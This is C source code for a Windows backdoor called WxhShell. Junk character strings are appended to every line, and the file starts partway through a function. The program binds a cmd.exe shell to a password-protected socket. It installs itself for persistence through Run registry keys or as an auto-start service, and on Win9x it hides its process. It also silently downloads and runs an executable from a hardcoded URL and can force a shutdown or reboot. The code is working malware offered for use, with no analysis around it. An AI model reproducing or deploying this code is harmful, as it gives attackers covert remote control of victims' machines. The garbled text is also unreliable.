    closesocket(wsh); GKOD/,  
    ExitThread(0); ugo.@   
    } b6}H$Sx~  
    break; mFg<dTx0c8  
    } `!XY]PI+e  
  // 关机 m5L-67[sB  
  case 'd': { +g` 'J$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); BbW^Wxd3  
    if(Boot(SHUTDOWN)) @{YS}&Q/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _jJPbKz  
    else { q;QbUO  
    closesocket(wsh); d`P7}*; `  
    ExitThread(0); e}Cif2#d~  
    } >ZPsjQuf"  
    break; )Gj8X}DM  
    } i;NUAmx  
  // 获取shell |o{:ZmzM  
  case 's': { L$9 . 8W  
    CmdShell(wsh); s~>d:'k7|  
    closesocket(wsh); whpfJNz  
    ExitThread(0); TT'[qfAI  
    break; 8dZ0rPd?  
  } 3^R&:|,  
  // 退出 x$IX5:E#e  
  case 'x': { bLe <G  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,8:(OB|a  
    CloseIt(wsh); _z'u pb&  
    break; &QDW9 Mi  
    } U'8bdsF_  
  // 离开  /<HRwG\w  
  case 'q': { P/c&@_b  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); fIj|4a+  
    closesocket(wsh); nN*w~f"  
    WSACleanup(); Fz1_w$^  
    exit(1); f#?fxUH~  
    break; h!&prYx  
        } {U!8|(  
  } LNrX;{ Z  
  } j<u@j+V  
T? tG~  
  // 提示信息 ])L A42|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Qk\A c  
} \=uKHNP?#  
  } "ul {d(K3  
]3VI|f$$  
  return; <1FC%f/  
} G]fRk^~  
29!q!g|  
// shell模块句柄 ? %`@ub$  
int CmdShell(SOCKET sock) w S4.8iJ  
{ RT)d]u  
STARTUPINFO si; <z]cyXv/  
ZeroMemory(&si,sizeof(si)); J13>i7]L%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hJDi7P  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :Qumb  
PROCESS_INFORMATION ProcessInfo; 5#> 8MU?&  
char cmdline[]="cmd"; #gp,V#T  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); MKy[hT:  
  return 0; zY,r9<I8_x  
} )6+eNsxMlC  
_C(m<n  
// 自身启动模式 nx8a$vI-TY  
int StartFromService(void) PIH*Rw*GKZ  
{ Z0o~+Ct$  
typedef struct $4tWI O  
{ !|O~$2O@  
  DWORD ExitStatus; R$[#+X!  
  DWORD PebBaseAddress; i|T)p_y(!a  
  DWORD AffinityMask; ]T;EdK-  
  DWORD BasePriority; {) Q@c)'  
  ULONG UniqueProcessId; 3~}uqaGt  
  ULONG InheritedFromUniqueProcessId; 3jlh}t>$l  
}   PROCESS_BASIC_INFORMATION; gA:5M  
ZHGC6a!a  
PROCNTQSIP NtQueryInformationProcess; )=AHf?hn  
o3I Tr';  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; fRtUvC-#H  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; pcT:]d[1)  
`t_W2y   
  HANDLE             hProcess; ,!dh2xNH^  
  PROCESS_BASIC_INFORMATION pbi; j:E<p_T  
KnsT\>[K  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qW!]co  
  if(NULL == hInst ) return 0; YN`H BFH  
 A-4h  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); J.ck~;3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); % !du,2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6ek;8dL  
e'0{?B  
  if (!NtQueryInformationProcess) return 0; Md0 s K  
AgFVv5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -PS#Z0>  
  if(!hProcess) return 0; ve% xxn:  
\8<BLmf4U  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Hm$=h>rY9[  
=,Dqqf  
  CloseHandle(hProcess); WAn~ +=Ax  
'Y56+P\u  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q|Qk2M  
if(hProcess==NULL) return 0; qe!fk?T}  
=Qgt${|  
HMODULE hMod; qIY~dQ|  
char procName[255]; =!`j7#:  
unsigned long cbNeeded; h\nI!{A0  
NGOqy+Ty{f  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &|!7Z4N  
T}"6wywM  
  CloseHandle(hProcess); b@S Cn9  
PB#fP_0C  
if(strstr(procName,"services")) return 1; // 以服务启动 mml<9fbH  
6(G?MW.  
  return 0; // 注册表启动 -5T=:2M  
} :_t}QP"  
J2j U4mR  
// 主模块 c05%iv  
int StartWxhshell(LPSTR lpCmdLine) rk7QZVE  
{ R,|d`)T  
  SOCKET wsl; G(~;]xNW+  
BOOL val=TRUE; r8,romE$  
  int port=0; nWMmna.5  
  struct sockaddr_in door; <o+<H  
~ug= {b  
  if(wscfg.ws_autoins) Install(); Nkp)Ax&  
6S+U&Ce\  
port=atoi(lpCmdLine); ]p;FZ4-T  
tkXEHsRT  
if(port<=0) port=wscfg.ws_port; ;$a@J&  
'1$!jmY  
  WSADATA data; q*2N{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; RTv qls  
lWqrU1Sjl  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   # g_Bx  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); RB+N IoQQ|  
  door.sin_family = AF_INET; hWKJ,r%9;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |i ZfYi&^  
  door.sin_port = htons(port); t`+'r}=d  
h}]fn A  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~M\I;8ne  
closesocket(wsl); 7DIIx}A  
return 1; 4"xPr[=iG  
} cCa|YW^j  
NcP.;u;`  
  if(listen(wsl,2) == INVALID_SOCKET) { {; .T7dL  
closesocket(wsl); 2D:fJ~|-[  
return 1; ?c7*_<W5  
} A?`jnRo=\  
  Wxhshell(wsl); Zc!@0  
  WSACleanup(); 1.gG^$Jd  
+3&z N(  
return 0; qA!]E^0*Ke  
ei6AV1| p  
} MW PvR|Q  
T}4/0yR2  
// 以NT服务方式启动 F35#dIs`&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2^)1N>"g  
{ ZeEWp3vW  
DWORD   status = 0; ak:ibV  
  DWORD   specificError = 0xfffffff; 8 O67  
:_@JA0n  
  serviceStatus.dwServiceType     = SERVICE_WIN32; UQ[B?jc  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; fm^@i;D  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #vzEu )Ul  
  serviceStatus.dwWin32ExitCode     = 0; KX}Rr7a  
  serviceStatus.dwServiceSpecificExitCode = 0; RKPD4e>%  
  serviceStatus.dwCheckPoint       = 0; |U_]vMq  
  serviceStatus.dwWaitHint       = 0; IN,(y aC  
v$=QA:!U  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); P0$e~=Q^4  
  if (hServiceStatusHandle==0) return; ,9P:Draxs`  
ixV0|P8,c  
status = GetLastError(); r YF #^  
  if (status!=NO_ERROR) i,|0@Vy  
{ OQ,NOiNkap  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?_v{| YI=  
    serviceStatus.dwCheckPoint       = 0; V13BB44  
    serviceStatus.dwWaitHint       = 0; ** +e7k   
    serviceStatus.dwWin32ExitCode     = status; BbRBT@  
    serviceStatus.dwServiceSpecificExitCode = specificError; '(dz"PL.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); QMsHC%l3b  
    return; 2CzaL,je[  
  } Q7g>4GZC  
5bA)j!#)|X  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ki{3IEOr}  
  serviceStatus.dwCheckPoint       = 0; ,:%"-`a%  
  serviceStatus.dwWaitHint       = 0; ) /v6l  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >y}M.Mm  
} %eJGt e-  
CT\;xt,S  
// 处理NT服务事件,比如:启动、停止 B}eA\O4}I  
VOID WINAPI NTServiceHandler(DWORD fdwControl) l$YC/ bP  
{ VL[kJi   
switch(fdwControl) vA X|hwn;  
{ vBsP+K  
case SERVICE_CONTROL_STOP: Q43|U4a  
  serviceStatus.dwWin32ExitCode = 0; $z$u{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4]/7 )x?R  
  serviceStatus.dwCheckPoint   = 0; p2N:;lXM  
  serviceStatus.dwWaitHint     = 0; I(S)n+E  
  { Cn_$l>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); iA,kX\nK  
  } >OP+^^oZ<  
  return; f"( X(1F  
case SERVICE_CONTROL_PAUSE: c5Q<$86  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &|aqP \Q5  
  break; i[ $0a4  
case SERVICE_CONTROL_CONTINUE: >5wx+n)/)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; fi+R2p~vs  
  break; gZEi]/8_  
case SERVICE_CONTROL_INTERROGATE: 5"/J^"!h  
  break; .7 asW(  
}; 2jbIW*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $46{<4.  
} -!)xQvagD.  
x)UwV  
// 标准应用程序主函数 !J =sk4T  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )I\=BPo|B  
{ a,o_`s<  
: iiw3#]  
// 获取操作系统版本 >I<r)w]  
OsIsNt=GetOsVer(); )?2e  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #eN{!Niy&U  
)9S>Z ZF  
  // 从命令行安装 @ a4/ELx  
  if(strpbrk(lpCmdLine,"iI")) Install(); z`6fotL  
L.T?}o  
  // 下载执行文件 x'zBK0i  
if(wscfg.ws_downexe) { l_j4DQBRV  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Jjl%R[mI  
  WinExec(wscfg.ws_filenam,SW_HIDE); DOz\n|8S  
} ~w</!s  
xBFJ} v  
if(!OsIsNt) { a,Gxm!  
// 如果时win9x,隐藏进程并且设置为注册表启动 %hN.ktZ/s  
HideProc(); 4 V1bLm  
StartWxhshell(lpCmdLine); ,+;:3gRk9  
} {u[V{XIUh  
else %Rh;=p`  
  if(StartFromService()) -AYA~O(&  
  // 以服务方式启动 !WkIi^T  
  StartServiceCtrlDispatcher(DispatchTable); @h?shW=^  
else &/A 8-:m  
  // 普通方式启动 1G7b%yPA  
  StartWxhshell(lpCmdLine); < pTTo  
3jogD  
return 0; 4Iq'/r  
} z5*=MlZ)R.  
jEz+1Nl)  
@=5qT]%U3J  
0e[d=)XG  
=========================================== qi^!GA'5j  
#,(sAj  
q@hp.(V  
dV?5Q_}  
U6[ang'l  
?4G|+yby  
" Zs2-u^3&  
@mt0kV9  
#include <stdio.h> \uG`|D n  
#include <string.h> -xg2q V\c  
#include <windows.h> uE=$p)  
#include <winsock2.h> ( #Z`  
#include <winsvc.h> xw<OLWW  
#include <urlmon.h> W/=|/-\]/  
f-2$ L  
#pragma comment (lib, "Ws2_32.lib") E^hHH?w+  
#pragma comment (lib, "urlmon.lib") k#}g,0@  
?hYqcT[%  
#define MAX_USER   100 // 最大客户端连接数 !}M,  
#define BUF_SOCK   200 // sock buffer 2}vg U$a  
#define KEY_BUFF   255 // 输入 buffer WqrgRpM{  
O;[9_[  
#define REBOOT     0   // 重启 dz#5q-r  
#define SHUTDOWN   1   // 关机 kHc<*L_ V  
%OcGdbs  
#define DEF_PORT   5000 // 监听端口 'rb'7=z5  
.r+hERcB  
#define REG_LEN     16   // 注册表键长度 (IbW; bV  
#define SVC_LEN     80   // NT服务名长度 [O ",  
vQ@2FZzu>  
// 从dll定义API 8 iC:xcN3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2WvN2" f3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); w'7R4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); m+$ @'TbP  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); MVCl.o  
EA<}[4#jS  
// wxhshell配置信息 |rRG=tG_'  
struct WSCFG { ]7AX%EG3  
  int ws_port;         // 监听端口 lz | 64J  
  char ws_passstr[REG_LEN]; // 口令 }iBC@`mg(  
  int ws_autoins;       // 安装标记, 1=yes 0=no c:M$m3Cs?  
  char ws_regname[REG_LEN]; // 注册表键名 02JL*  
  char ws_svcname[REG_LEN]; // 服务名 vOI[Z0Lq9h  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -m 5}#P89  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *B)yy[8j+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 io4A>>W==/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no smAC,-6 ]~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Bz2'=~J  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %1McD{  
ts9pM~_~  
}; BRG|Asg(  
t@bt6J .{  
// default Wxhshell configuration `BZ&~vJ_  
struct WSCFG wscfg={DEF_PORT, |I[7,`C~  
    "xuhuanlingzhe", '3l$al:H^  
    1, 3mt%!}S  
    "Wxhshell", 6\d X  
    "Wxhshell", Md; /nJO~{  
            "WxhShell Service", VU!w!GN]Y  
    "Wrsky Windows CmdShell Service", -[#n+`M  
    "Please Input Your Password: ", ~bA,GfSn0  
  1, _.18z+  
  "http://www.wrsky.com/wxhshell.exe", SjcL#S($&Y  
  "Wxhshell.exe" BZ+-p5]-  
    }; r;cV&T/?  
R -elIp  
// 消息定义模块 :_dICxaLZT  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K3$` Kv>I  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _EYB 8e  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; FJM;X-UOY  
char *msg_ws_ext="\n\rExit."; y)J(K*x/$  
char *msg_ws_end="\n\rQuit."; wod/&!)]A  
char *msg_ws_boot="\n\rReboot..."; =F%RLpNU4  
char *msg_ws_poff="\n\rShutdown..."; ^Ip3A  
char *msg_ws_down="\n\rSave to "; 3=4SGt5m  
1|y$~R.H  
char *msg_ws_err="\n\rErr!"; <ZPZk'53<f  
char *msg_ws_ok="\n\rOK!"; +S{  
cHvF*A  
char ExeFile[MAX_PATH]; T.?k>A k  
int nUser = 0; ( 76{2  
HANDLE handles[MAX_USER]; - HOnB=  
int OsIsNt; Mn^zYW|(  
f$xhb3Qn  
SERVICE_STATUS       serviceStatus; +/'<z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0my9l;X   
r)l`  
// 函数声明 nTnRGf\T  
int Install(void); wgd<3 X  
int Uninstall(void); B1T5f1;uY  
int DownloadFile(char *sURL, SOCKET wsh); I^0 t2[M  
int Boot(int flag); <DiOWi  
void HideProc(void); . 5hp0L}  
int GetOsVer(void); 0-e  
int Wxhshell(SOCKET wsl); 8cr NOZS6  
void TalkWithClient(void *cs); xl!K;Y2<  
int CmdShell(SOCKET sock); H*U`  
int StartFromService(void); /(6zsq'v|  
int StartWxhshell(LPSTR lpCmdLine); }ymvC  
#Q6w+"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =Lw3 \5l  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3XVk#)lw  
E3\ZJjG  
// 数据结构和表定义 |_pl;&;:  
SERVICE_TABLE_ENTRY DispatchTable[] = ;~tsF.=  
{ LcUlc)YH5  
{wscfg.ws_svcname, NTServiceMain}, r\mPIr|  
{NULL, NULL} j 2}v}  
}; [yd6gH  
X5E '*W  
// 自我安装 i-13~Dk  
int Install(void) !UNNjBBP7  
{ ^8742.  
  char svExeFile[MAX_PATH]; Y1r ,2k  
  HKEY key; (Pz8 iz  
  strcpy(svExeFile,ExeFile); R7aXR\ R  
G1_Nd2w  
// 如果是win9x系统,修改注册表设为自启动 I6w/0,azC  
if(!OsIsNt) { 1i,4".h?M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wu^q`!ml  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fA XE~  
  RegCloseKey(key); [@.B4p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k:0P+d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %]jQ48^R  
  RegCloseKey(key); -Cj_B\  
  return 0; i:k-"  
    } >(tO QeN  
  } BvJ=iB<E  
} ONWO`XD  
else { =J.EH|  
8t``NZ[  
// 如果是NT以上系统,安装为系统服务 u9>6|w+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); T +\B'"  
if (schSCManager!=0) ,P{ HE8.  
{ d^SE)/j  
  SC_HANDLE schService = CreateService Qp69Sk@H{  
  ( C={mi#G[/  
  schSCManager, "t+r+ipf])  
  wscfg.ws_svcname, N9*UMVU  
  wscfg.ws_svcdisp, zlMlMyG4  
  SERVICE_ALL_ACCESS, wb+<a  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W?PWJkIw  
  SERVICE_AUTO_START, hT=f;6$  
  SERVICE_ERROR_NORMAL, *f*f&l%  
  svExeFile, !rHx}n{rw  
  NULL, @U7Dunu*f  
  NULL, +E#PJ_H=F8  
  NULL, z[biK|YL  
  NULL, nt`<y0ta  
  NULL |8;? *s`H  
  ); i@{*O@m  
  if (schService!=0) >nNl^ yqW  
  { T{;=#rG<  
  CloseServiceHandle(schService); =+(Q.LmhC  
  CloseServiceHandle(schSCManager); l'2H 4W_+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); X!7Xg  
  strcat(svExeFile,wscfg.ws_svcname); }z{wQ\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { '_E c_F  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); q (1r<2  
  RegCloseKey(key); _=T]PSauI  
  return 0; + o{*r#  
    } M\jB)@)  
  } %(NN *o9"q  
  CloseServiceHandle(schSCManager); dk4D+*R  
} UFk!dK+  
} \!7*(&yly  
JP_kQ  
return 1; q-uLA&4  
} #-dK0<:  
NCxn^$/+>9  
// 自我卸载 HYFN?~G  
int Uninstall(void) g`.{K"N>!  
{ ,N;v~D$Y  
  HKEY key; @|]G0&gn&?  
l}+Cdy9>  
if(!OsIsNt) { nO}$ 76*'0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *sAOpf@M  
  RegDeleteValue(key,wscfg.ws_regname); ytob/tc  
  RegCloseKey(key); \086O9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "$Y(NFb  
  RegDeleteValue(key,wscfg.ws_regname); 8iOO1I?+  
  RegCloseKey(key); VB's  
  return 0; y\z*p&I  
  } ( w5f(4  
} [^Q&suy  
} .CvFE~  
else { +|M{I= 8  
?0m?7{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); u<C $'V  
if (schSCManager!=0) h/{8bC@bi  
{ Bf+^O)Ns^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); YjL t&D:IZ  
  if (schService!=0) W`5a:"Vg  
  { [Q=4P*G}X  
  if(DeleteService(schService)!=0) { m"q/,}DR  
  CloseServiceHandle(schService); }eI`Qg  
  CloseServiceHandle(schSCManager); pbFYiu+  
  return 0; e-jw^   
  } " C&x ,Ic  
  CloseServiceHandle(schService); IF^[^^v+H  
  } xLZMpP5c  
  CloseServiceHandle(schSCManager); @,GjeF]!  
} .2/,XwIr  
} QWQ!Ak  
WySNL#>a  
return 1; 4xpj<  
} G6<HO7\  
J/= +r0c  
// 从指定url下载文件 q1P :^<[  
int DownloadFile(char *sURL, SOCKET wsh) =J`gGDhGY-  
{ >Rr!rtc'x  
  HRESULT hr; qZ233pc  
char seps[]= "/"; vD_u[j]  
char *token; u9 %;{:]h  
char *file; i5Eeg`NMl  
char myURL[MAX_PATH]; F],TG&>5  
char myFILE[MAX_PATH]; d`UF0T  
> Z]P]e  
strcpy(myURL,sURL); #*+;B93 )  
  token=strtok(myURL,seps); gfx oJihE  
  while(token!=NULL) ,R8n,az  
  { l,^xX =,  
    file=token; pAMo XJ`  
  token=strtok(NULL,seps); F@Pem  
  } R2SBhs,+R  
4Sqvhz  
GetCurrentDirectory(MAX_PATH,myFILE); \I:UC %  
strcat(myFILE, "\\"); P`z7@9*j  
strcat(myFILE, file); (2cGHYU3N<  
  send(wsh,myFILE,strlen(myFILE),0); ktU9LW~  
send(wsh,"...",3,0); +J%6bn)U  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); W3"vTZJF  
  if(hr==S_OK) k"0%' Y  
return 0; c 3}x)aQ  
else cgzy0$8dj\  
return 1; L,O>6~9:^1  
 )Kxs@F  
} j1W bD7*8  
33O)k*g  
// 系统电源模块 @Ap@m6K?q  
int Boot(int flag) 8TUF w@H%  
{ )_X;9%L7  
  HANDLE hToken; 4(m/D>6:  
  TOKEN_PRIVILEGES tkp; YmZC?x_{M2  
1V#0\1sj  
  if(OsIsNt) { 8rla0d@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); FYxUOO  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); t;h+Cf4  
    tkp.PrivilegeCount = 1; m=#aHF  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?`za-+<r<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ZDW,7b% U  
if(flag==REBOOT) { )hePN4edj  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) SnH:(tO[X  
  return 0; 5%EaX?0h+  
} /\6}S G;  
else { >3<&V{<K  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Dr4?Ow  
  return 0; oZ?IR#^  
} qxRT1B]{Wx  
  } D7 %^Ly  
  else { yjeqv-7  
if(flag==REBOOT) { I|GV :D  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) c`rfKr&z  
  return 0; H't`Q&]a  
} 7Ntjx(b$"h  
else { f<Va<TL6-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) FEge+`{,  
  return 0; 'SsPx&)l  
} P9 W<gIO  
} ZJ;wRd@  
-HO6K) ur  
return 1; @hE7r-}]  
} kxcgOjrmI  
E!:.G+SEl  
// win9x进程隐藏模块 x& mz-  
void HideProc(void)  "Nk`RsW  
{ T3=-UYx]  
|:!E HFr  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Fcu Eeca  
  if ( hKernel != NULL ) %:yHMEG]'  
  { }Z~pfm_S  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8Sd?b5|G~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); " 8~f  
    FreeLibrary(hKernel); V#n?&-{V  
  } B^E2UNRA  
8A`p  
return; q g) Af  
} uJ2C+$=Ul  
\c5#\1<  
// 获取操作系统版本 'p4da2%  
int GetOsVer(void) p{\qSPK  
{ ]w1BJZa36  
  OSVERSIONINFO winfo; 4WBo ZJ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %!N2!IiVs  
  GetVersionEx(&winfo); GQEI f$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Q' OuZKhA  
  return 1; RZcx4fL}x  
  else RPa?Nv?e  
  return 0; O=4c eE mz  
} TWl(\<&+)  
]%vGC^  
// 客户端句柄模块 ,"v)vTt  
int Wxhshell(SOCKET wsl) #dxJ#  
{ !W+p<F1i  
  SOCKET wsh; 6KBzlj0T+  
  struct sockaddr_in client; N,'[:{GOY  
  DWORD myID; Kt/+PS  
iA1;k*) q  
  while(nUser<MAX_USER) W(]E04  
{ y \mutm  
  int nSize=sizeof(client); a:(: :m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "(HA9:  
  if(wsh==INVALID_SOCKET) return 1; |wyJh"4!  
b a1$kU  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); l,^i5t'  
if(handles[nUser]==0) q9g[+*9]$  
  closesocket(wsh); V'f&JQ A  
else VR5e CJ:i  
  nUser++; R &1mo  
  } [~Z'xY y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $Hl+iF4j<  
l&e5_]+%  
  return 0; zx_O"0{5  
} -Ib+#pX  
]ft~OqLg!  
// 关闭 socket E'Fv *UA  
void CloseIt(SOCKET wsh) N4Fy8qU;  
{ /eU1(oo&`5  
closesocket(wsh); =0!\F~  
nUser--; ]iE.fQ?;J  
ExitThread(0); jx5[bUp4u  
} lN][xnP  
+*r**(-Dm  
// 客户端请求句柄 JYVxdvq1  
void TalkWithClient(void *cs) o\=i0HR9  
{ ib""Fv7{  
q|Pt>4c5?  
  SOCKET wsh=(SOCKET)cs; eD` ,  
  char pwd[SVC_LEN]; f2SU5e2  
  char cmd[KEY_BUFF]; %FR^[H]  
char chr[1]; XeIUdg4>R  
int i,j; 'o#J>a~!9L  
AD!<%h:  
  while (nUser < MAX_USER) { + 8K1]'t$  
ac+k 5K+  
if(wscfg.ws_passstr) { G2[IO $  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SCt=OdP=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }?Yr>ZRi  
  //ZeroMemory(pwd,KEY_BUFF); N8MlT \+r  
      i=0; c|!A?>O?i  
  while(i<SVC_LEN) { zvK5Zxl  
8KL_PwRX_f  
  // 设置超时 Wc`J`&#.#  
  fd_set FdRead; =|WV^0=S'%  
  struct timeval TimeOut; ou,=MpXx*  
  FD_ZERO(&FdRead); LGo@F;!n  
  FD_SET(wsh,&FdRead); +~i+k~{`H  
  TimeOut.tv_sec=8; 0:B^  
  TimeOut.tv_usec=0; ~y-vKCp|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); y T1Qep  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /i~^LITH  
EV?47\ ~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d;NFkA(df  
  pwd=chr[0]; M~{P',l*  
  if(chr[0]==0xd || chr[0]==0xa) { s2kZZP8-  
  pwd=0; :(?hLH.W[  
  break; rO?x/{;ai  
  } h,WY2Hr  
  i++; +GPT:\*q6  
    } ,;=( )-  
<@AsCiQF  
  // 如果是非法用户,关闭 socket b]g&rwXYt  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4gkV]" H!  
} #Wc #fP  
Wru  Fp  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?m_RU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c!u}KVH  
;iC'{S  
while(1) { PVkN3J  
PqJ*   
  ZeroMemory(cmd,KEY_BUFF); =[)N6XV3  
~ Dp:j*H  
      // 自动支持客户端 telnet标准   #G , *j  
  j=0; Pdm6u73  
  while(j<KEY_BUFF) { >K|GLP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j_a~)o-p  
  cmd[j]=chr[0]; 6 XOu~+7  
  if(chr[0]==0xa || chr[0]==0xd) { 9M7(_E;)B  
  cmd[j]=0; t{S{!SF4  
  break; $Z%aGc*  
  } |gRgQGeB  
  j++; -IE P?NX  
    } @<TfA>*VJ  
tj^:SW.0  
  // 下载文件 S_ -QvG2  
  if(strstr(cmd,"http://")) { };|PFWs  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5 *pN<S  
  if(DownloadFile(cmd,wsh)) ks#Z~6+3  
